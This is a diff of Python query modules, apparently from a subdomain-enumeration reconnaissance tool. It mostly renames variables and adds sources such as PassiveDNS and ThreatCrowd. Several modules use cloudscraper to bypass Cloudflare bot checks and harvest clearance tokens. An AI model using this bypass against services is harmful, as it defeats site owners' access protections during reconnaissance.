self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -24,8 +24,8 @@ class BinaryEdgeAPI(Query):
|
|||||||
resp = self.get(url)
|
resp = self.get(url)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, str(resp.json()))
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,5 +1,7 @@
|
|||||||
import time
|
import time
|
||||||
|
import cloudscraper
|
||||||
from common.query import Query
|
from common.query import Query
|
||||||
|
from config import logger
|
||||||
|
|
||||||
|
|
||||||
class BufferOver(Query):
|
class BufferOver(Query):
|
||||||
@@ -8,22 +10,28 @@ class BufferOver(Query):
|
|||||||
self.domain = self.register(domain)
|
self.domain = self.register(domain)
|
||||||
self.module = 'Dataset'
|
self.module = 'Dataset'
|
||||||
self.source = 'BufferOverQuery'
|
self.source = 'BufferOverQuery'
|
||||||
self.addr = 'https://dns.bufferover.run/dns'
|
self.addr = 'https://dns.bufferover.run/dns?q='
|
||||||
|
|
||||||
def query(self):
|
def query(self):
|
||||||
"""
|
"""
|
||||||
向接口查询子域并做子域匹配
|
向接口查询子域并做子域匹配
|
||||||
"""
|
"""
|
||||||
time.sleep(self.delay)
|
time.sleep(self.delay)
|
||||||
self.header = self.get_header()
|
# 绕过cloudFlare验证
|
||||||
self.proxy = self.get_proxy(self.source)
|
scraper = cloudscraper.create_scraper()
|
||||||
params = {'q': self.domain}
|
scraper.interpreter = 'js2py'
|
||||||
resp = self.get(self.addr, params)
|
scraper.proxies = self.get_proxy(self.source)
|
||||||
|
url = self.addr + self.domain
|
||||||
|
try:
|
||||||
|
resp = scraper.get(url, timeout=self.timeout)
|
||||||
|
except Exception as e:
|
||||||
|
logger.log('ERROR', e.args)
|
||||||
|
return
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ class Chinaz(Query):
|
|||||||
resp = self.get(self.addr)
|
resp = self.get(self.addr)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -23,9 +23,9 @@ class ChinazAPI(Query):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, str(resp.json()))
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -23,9 +23,9 @@ class CirclAPI(Query):
|
|||||||
resp = self.get(self.addr + self.domain, auth=(self.user, self.pwd))
|
resp = self.get(self.addr + self.domain, auth=(self.user, self.pwd))
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, str(resp.json()))
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
import random
|
|
||||||
import time
|
import time
|
||||||
|
import random
|
||||||
|
import cloudscraper
|
||||||
from bs4 import BeautifulSoup
|
from bs4 import BeautifulSoup
|
||||||
from common.query import Query
|
from common.query import Query
|
||||||
|
from config import logger
|
||||||
|
|
||||||
|
|
||||||
class DNSdb(Query):
|
class DNSdb(Query):
|
||||||
@@ -10,38 +12,59 @@ class DNSdb(Query):
|
|||||||
self.domain = self.register(domain)
|
self.domain = self.register(domain)
|
||||||
self.module = 'Dataset'
|
self.module = 'Dataset'
|
||||||
self.source = 'DNSdbQuery'
|
self.source = 'DNSdbQuery'
|
||||||
self.addr = 'https://www.dnsdb.org/'
|
self.addr = 'http://www.dnsdb.org/'
|
||||||
|
self.url = f'{self.addr}{self.domain}/'
|
||||||
|
|
||||||
|
def get_tokens(self):
|
||||||
|
"""
|
||||||
|
绕过cloudFlare验证并获取taken
|
||||||
|
|
||||||
|
:return: 绕过失败返回None 成功返回tokens
|
||||||
|
"""
|
||||||
|
scraper = cloudscraper.create_scraper()
|
||||||
|
scraper.interpreter = 'js2py'
|
||||||
|
scraper.proxies = self.get_proxy(self.source)
|
||||||
|
scraper.timeout = 10
|
||||||
|
try:
|
||||||
|
tokens = scraper.get_tokens(self.url)
|
||||||
|
except Exception as e:
|
||||||
|
logger.log('ERROR', e.args)
|
||||||
|
return None
|
||||||
|
if len(tokens) != 2:
|
||||||
|
return None
|
||||||
|
return tokens
|
||||||
|
|
||||||
def query(self):
|
def query(self):
|
||||||
"""
|
"""
|
||||||
向接口查询子域并做子域匹配
|
向接口查询子域并做子域匹配
|
||||||
"""
|
"""
|
||||||
self.header = self.get_header()
|
tokens = self.get_tokens()
|
||||||
self.header.update({'Referer': self.addr})
|
if not tokens:
|
||||||
self.proxy = self.get_proxy(self.source)
|
logger.log('ALERT', f'{self.source}模块绕过cloudFlare检查失败')
|
||||||
url = self.addr + self.domain + '/'
|
return False
|
||||||
resp = self.get(url)
|
self.cookie = tokens[0]
|
||||||
|
self.header = {'User-Agent': tokens[1]}
|
||||||
|
self.timeout = 10
|
||||||
|
resp = self.get(self.url)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
if resp.status_code == 200:
|
|
||||||
if 'index' in resp.text:
|
if 'index' in resp.text:
|
||||||
soup = BeautifulSoup(resp.text, features='lxml')
|
soup = BeautifulSoup(resp.text, features='lxml')
|
||||||
urls = set(map(lambda x: self.addr + self.domain + x.text,
|
base = self.addr+self.domain
|
||||||
|
urls = list(map(lambda a: base + '/' + a.get('href'),
|
||||||
soup.find_all('a')))
|
soup.find_all('a')))
|
||||||
|
urls = urls[:-1] # idn域名暂时不考虑
|
||||||
for url in urls:
|
for url in urls:
|
||||||
# 休眠绕过CloudFlare的DDoS保护
|
|
||||||
self.delay = random.randint(2, 5)
|
|
||||||
time.sleep(self.delay)
|
|
||||||
resp = self.get(url)
|
resp = self.get(url)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
else:
|
else:
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -25,10 +25,9 @@ class DNSdbAPI(Query):
|
|||||||
resp = self.get(url)
|
resp = self.get(url)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
if resp.status_code == 200:
|
subdomains = utils.match_subdomain(self.domain, resp.text)
|
||||||
subdomains_find = utils.match_subdomain(self.domain, resp.text)
|
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -28,10 +28,10 @@ class DNSdumpster(Query):
|
|||||||
resp = self.post(self.addr, data)
|
resp = self.post(self.addr, data)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = utils.match_subdomain(self.domain, resp.text)
|
subdomains = utils.match_subdomain(self.domain, resp.text)
|
||||||
if subdomains_find:
|
if subdomains:
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -21,10 +21,10 @@ class HackerTarget(Query):
|
|||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
if resp.status_code == 200:
|
if resp.status_code == 200:
|
||||||
subdomains_find = utils.match_subdomain(self.domain, resp.text)
|
subdomains = utils.match_subdomain(self.domain, resp.text)
|
||||||
if subdomains_find:
|
if subdomains:
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -26,14 +26,15 @@ class IPv4InfoAPI(Query):
|
|||||||
return
|
return
|
||||||
if resp.status_code != 200:
|
if resp.status_code != 200:
|
||||||
break # 请求不正常通常网络是有问题,不再继续请求下去
|
break # 请求不正常通常网络是有问题,不再继续请求下去
|
||||||
resp_json = resp.json()
|
data = resp.json()
|
||||||
subdomains_find = self.match(self.domain, str(resp_json))
|
subdomains = self.match(self.domain, str(data))
|
||||||
if not subdomains_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
# 不直接使用subdomains是因为可能里面会出现不符合标准的子域名
|
# 不直接使用subdomains是因为可能里面会出现不符合标准的子域名
|
||||||
subdomains = resp_json.get('Subdomains')
|
subdomains = data.get('Subdomains')
|
||||||
|
if subdomains:
|
||||||
# ipv4info子域查询接口每次最多返回300个 用来判断是否还有下一页
|
# ipv4info子域查询接口每次最多返回300个 用来判断是否还有下一页
|
||||||
if len(subdomains) < 300:
|
if len(subdomains) < 300:
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -46,11 +46,11 @@ class NetCraft(Query):
|
|||||||
resp = self.get(self.addr + last, params)
|
resp = self.get(self.addr + last, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
if 'Next page' not in resp.text: # 搜索页面没有出现下一页时停止搜索
|
if 'Next page' not in resp.text: # 搜索页面没有出现下一页时停止搜索
|
||||||
break
|
break
|
||||||
last = re.search(r'&last=.*' + self.domain, resp.text).group(0)
|
last = re.search(r'&last=.*' + self.domain, resp.text).group(0)
|
||||||
|
|||||||
@@ -0,0 +1,56 @@
|
|||||||
|
import time
|
||||||
|
import config
|
||||||
|
from common.query import Query
|
||||||
|
|
||||||
|
|
||||||
|
class PassiveDnsAPI(Query):
|
||||||
|
def __init__(self, domain):
|
||||||
|
Query.__init__(self)
|
||||||
|
self.domain = self.register(domain)
|
||||||
|
self.module = 'Dataset'
|
||||||
|
self.source = 'PassiveDnsQuery'
|
||||||
|
self.addr = config.passivedns_api_addr or 'http://api.passivedns.cn'
|
||||||
|
self.token = config.passivedns_api_token
|
||||||
|
|
||||||
|
def query(self):
|
||||||
|
"""
|
||||||
|
向接口查询子域并做子域匹配
|
||||||
|
"""
|
||||||
|
time.sleep(self.delay)
|
||||||
|
self.header = self.get_header()
|
||||||
|
self.header.update({'X-AuthToken': self.token})
|
||||||
|
self.proxy = self.get_proxy(self.source)
|
||||||
|
url = self.addr + '/flint/rrset/*.' + self.domain
|
||||||
|
resp = self.get(url)
|
||||||
|
if not resp:
|
||||||
|
return
|
||||||
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
|
# 合并搜索子域名搜索结果
|
||||||
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""
|
||||||
|
类执行入口
|
||||||
|
"""
|
||||||
|
if not self.check(self.addr):
|
||||||
|
return
|
||||||
|
self.begin()
|
||||||
|
self.query()
|
||||||
|
self.finish()
|
||||||
|
self.save_json()
|
||||||
|
self.gen_result()
|
||||||
|
self.save_db()
|
||||||
|
|
||||||
|
|
||||||
|
def do(domain): # 统一入口名字 方便多线程调用
|
||||||
|
"""
|
||||||
|
类统一调用入口
|
||||||
|
|
||||||
|
:param str domain: 域名
|
||||||
|
"""
|
||||||
|
query = PassiveDnsAPI(domain)
|
||||||
|
query.run()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
do('example.com')
|
||||||
@@ -10,7 +10,7 @@ class PTRArchive(Query):
|
|||||||
self.domain = self.register(domain)
|
self.domain = self.register(domain)
|
||||||
self.module = 'Dataset'
|
self.module = 'Dataset'
|
||||||
self.source = "PTRArchiveQuery"
|
self.source = "PTRArchiveQuery"
|
||||||
self.addr = 'http://ptrarchive.com/tools/search3.htm'
|
self.addr = 'http://ptrarchive.com/tools/search4.htm'
|
||||||
|
|
||||||
def query(self):
|
def query(self):
|
||||||
"""
|
"""
|
||||||
@@ -25,10 +25,10 @@ class PTRArchive(Query):
|
|||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
if resp.status_code == 200:
|
if resp.status_code == 200:
|
||||||
subdomains_find = utils.match_subdomain(self.domain, resp.text)
|
subdomains = utils.match_subdomain(self.domain, resp.text)
|
||||||
if subdomains_find:
|
if subdomains:
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ class Riddler(Query):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -32,10 +32,10 @@ class Robtex(Query):
|
|||||||
resp = self.get(url)
|
resp = self.get(url)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
if subdomains_find:
|
if subdomains:
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -26,10 +26,10 @@ class SecurityTrailsAPI(Query):
|
|||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
prefixs = resp.json()['subdomains']
|
prefixs = resp.json()['subdomains']
|
||||||
subdomains_find = [f'{prefix}.{self.domain}' for prefix in prefixs]
|
subdomains = [f'{prefix}.{self.domain}' for prefix in prefixs]
|
||||||
if subdomains_find:
|
if subdomains:
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -26,11 +26,11 @@ class SiteDossier(Query):
|
|||||||
resp = self.get(url)
|
resp = self.get(url)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
# 搜索页面没有出现下一页时停止搜索
|
# 搜索页面没有出现下一页时停止搜索
|
||||||
if 'Show next 100 items' not in resp.text:
|
if 'Show next 100 items' not in resp.text:
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -0,0 +1,55 @@
|
|||||||
|
import cloudscraper
|
||||||
|
|
||||||
|
from common.query import Query
|
||||||
|
from config import logger
|
||||||
|
|
||||||
|
|
||||||
|
class ThreatCrowd(Query):
|
||||||
|
def __init__(self, domain):
|
||||||
|
Query.__init__(self)
|
||||||
|
self.domain = self.register(domain)
|
||||||
|
self.source = 'ThreatCrowdQuery'
|
||||||
|
self.addr = 'https://www.threatcrowd.org/searchApi' \
|
||||||
|
'/v2/domain/report?domain='
|
||||||
|
|
||||||
|
def query(self):
|
||||||
|
# 绕过cloudFlare验证
|
||||||
|
scraper = cloudscraper.create_scraper()
|
||||||
|
scraper.interpreter = 'js2py'
|
||||||
|
scraper.proxies = self.get_proxy(self.source)
|
||||||
|
url = self.addr + self.domain
|
||||||
|
try:
|
||||||
|
resp = scraper.get(url, timeout=self.timeout)
|
||||||
|
except Exception as e:
|
||||||
|
logger.log('ERROR', e.args)
|
||||||
|
return
|
||||||
|
if not resp:
|
||||||
|
return
|
||||||
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
|
# 合并搜索子域名搜索结果
|
||||||
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
|
def run(self):
|
||||||
|
"""
|
||||||
|
类执行入口
|
||||||
|
"""
|
||||||
|
self.begin()
|
||||||
|
self.query()
|
||||||
|
self.finish()
|
||||||
|
self.save_json()
|
||||||
|
self.gen_result()
|
||||||
|
self.save_db()
|
||||||
|
|
||||||
|
|
||||||
|
def do(domain): # 统一入口名字 方便多线程调用
|
||||||
|
"""
|
||||||
|
类统一调用入口
|
||||||
|
|
||||||
|
:param str domain: 域名
|
||||||
|
"""
|
||||||
|
query = ThreatCrowd(domain)
|
||||||
|
query.run()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
do('example.com')
|
||||||
@@ -60,9 +60,9 @@ class BruteSRV(Module):
|
|||||||
for result in results:
|
for result in results:
|
||||||
if result:
|
if result:
|
||||||
for answer in result:
|
for answer in result:
|
||||||
subdomain = utils.match_subdomain(self.domain, answer.host)
|
subdomains = utils.match_subdomain(self.domain, answer.host)
|
||||||
if subdomain:
|
if subdomains:
|
||||||
self.subdomains = self.subdomains.union(subdomain)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
else:
|
else:
|
||||||
logger.log('DEBUG', f'{answer.host}不是{self.domain}的子域')
|
logger.log('DEBUG', f'{answer.host}不是{self.domain}的子域')
|
||||||
if not len(self.subdomains):
|
if not len(self.subdomains):
|
||||||
|
|||||||
@@ -24,11 +24,9 @@ class RiskIQ(Query):
|
|||||||
auth=(self.user, self.key))
|
auth=(self.user, self.key))
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
resp_json = resp.json()
|
data = resp.json()
|
||||||
subnames = resp_json.get('subdomains')
|
names = data.get('subdomains')
|
||||||
if subnames:
|
self.subdomains = set(map(lambda sub: f'{sub}.{self.domain}', names))
|
||||||
self.subdomains = set(map(lambda sub: f'{sub}.{self.domain}',
|
|
||||||
subnames))
|
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -23,8 +23,8 @@ class ThreatBookAPI(Query):
|
|||||||
resp = self.post(self.addr, params)
|
resp = self.post(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(self.domain, str(resp.json()))
|
subdomains = self.match(self.domain, str(resp.json()))
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -23,9 +23,9 @@ class ThreatMiner(Query):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(self.domain, resp.text)
|
subdomains = self.match(self.domain, resp.text)
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -30,19 +30,19 @@ class VirusTotal(Query):
|
|||||||
resp = self.get(url=self.addr.format(self.domain), params=params)
|
resp = self.get(url=self.addr.format(self.domain), params=params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
resp_json = resp.json()
|
data = resp.json()
|
||||||
subdomain_find = set()
|
subdomains = set()
|
||||||
datas = resp_json.get('data')
|
datas = data.get('data')
|
||||||
|
|
||||||
if datas:
|
if datas:
|
||||||
for data in datas:
|
for data in datas:
|
||||||
subdomain = data.get('id')
|
subdomain = data.get('id')
|
||||||
if subdomain:
|
if subdomain:
|
||||||
subdomain_find.add(subdomain)
|
subdomains.add(subdomain)
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
meta = resp_json.get('meta')
|
meta = data.get('meta')
|
||||||
if meta:
|
if meta:
|
||||||
next_cursor = meta.get('cursor')
|
next_cursor = meta.get('cursor')
|
||||||
else:
|
else:
|
||||||
|
|||||||
@@ -21,9 +21,9 @@ class VirusTotalAPI(Query):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
resp_json = resp.json()
|
data = resp.json()
|
||||||
subdomain_find = set(resp_json.get('subdomains'))
|
subdomains = set(data.get('subdomains'))
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
|
|
||||||
def run(self):
|
def run(self):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -30,14 +30,14 @@ class Ask(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
self.page_num += 1
|
self.page_num += 1
|
||||||
if '>Next<' not in resp.text:
|
if '>Next<' not in resp.text:
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -50,17 +50,17 @@ class Baidu(Search):
|
|||||||
return
|
return
|
||||||
if len(domain) > 12: # 解决百度搜索结果中域名过长会显示不全的问题
|
if len(domain) > 12: # 解决百度搜索结果中域名过长会显示不全的问题
|
||||||
# 获取百度跳转URL响应头的Location字段获取直链
|
# 获取百度跳转URL响应头的Location字段获取直链
|
||||||
subdomains_find = self.redirect_match(domain, resp.text)
|
subdomains = self.redirect_match(domain, resp.text)
|
||||||
else:
|
else:
|
||||||
subdomains_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomains_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
self.page_num += self.per_page_num
|
self.page_num += self.per_page_num
|
||||||
# 搜索页面没有出现下一页时停止搜索
|
# 搜索页面没有出现下一页时停止搜索
|
||||||
if '&pn={next_pn}&'.format(next_pn=self.page_num) not in resp.text:
|
if '&pn={next_pn}&'.format(next_pn=self.page_num) not in resp.text:
|
||||||
|
|||||||
@@ -36,15 +36,15 @@ class Bing(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomains_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
# 搜索页面没有出现下一页时停止搜索
|
# 搜索页面没有出现下一页时停止搜索
|
||||||
if '<div class="sw_next>' not in resp.text:
|
if '<div class="sw_next>' not in resp.text:
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -36,15 +36,15 @@ class BingAPI(Search):
|
|||||||
resp = self.get(self.addr, params)
|
resp = self.get(self.addr, params)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomains_find = self.match(domain, str(resp.json()))
|
subdomains = self.match(domain, str(resp.json()))
|
||||||
if not subdomains_find: # 搜索没有发现子域名则停止搜索
|
if not subdomains: # 搜索没有发现子域名则停止搜索
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomains_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
# 合并搜索子域名搜索结果
|
# 合并搜索子域名搜索结果
|
||||||
self.subdomains = self.subdomains.union(subdomains_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
self.page_num += self.per_page_num
|
self.page_num += self.per_page_num
|
||||||
if self.page_num >= self.limit_num: # 搜索条数限制
|
if self.page_num >= self.limit_num: # 搜索条数限制
|
||||||
break
|
break
|
||||||
|
|||||||
@@ -30,14 +30,14 @@ class DuckDuckGO(Search):
|
|||||||
resp = self.post(self.addr, data)
|
resp = self.post(self.addr, data)
|
||||||
if not resp:
|
if not resp:
|
||||||
return
|
return
|
||||||
subdomain_find = self.match(domain, resp.text)
|
subdomains = self.match(domain, resp.text)
|
||||||
if not subdomain_find:
|
if not subdomains:
|
||||||
break
|
break
|
||||||
if not full_search:
|
if not full_search:
|
||||||
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
# 搜索中发现搜索出的结果有完全重复的结果就停止搜索
|
||||||
if subdomain_find.issubset(self.subdomains):
|
if subdomains.issubset(self.subdomains):
|
||||||
break
|
break
|
||||||
self.subdomains = self.subdomains.union(subdomain_find)
|
self.subdomains = self.subdomains.union(subdomains)
|
||||||
try:
|
try:
|
||||||
s = re.findall(r'name="s" value="(\d.*)"', resp.text)[-1]
|
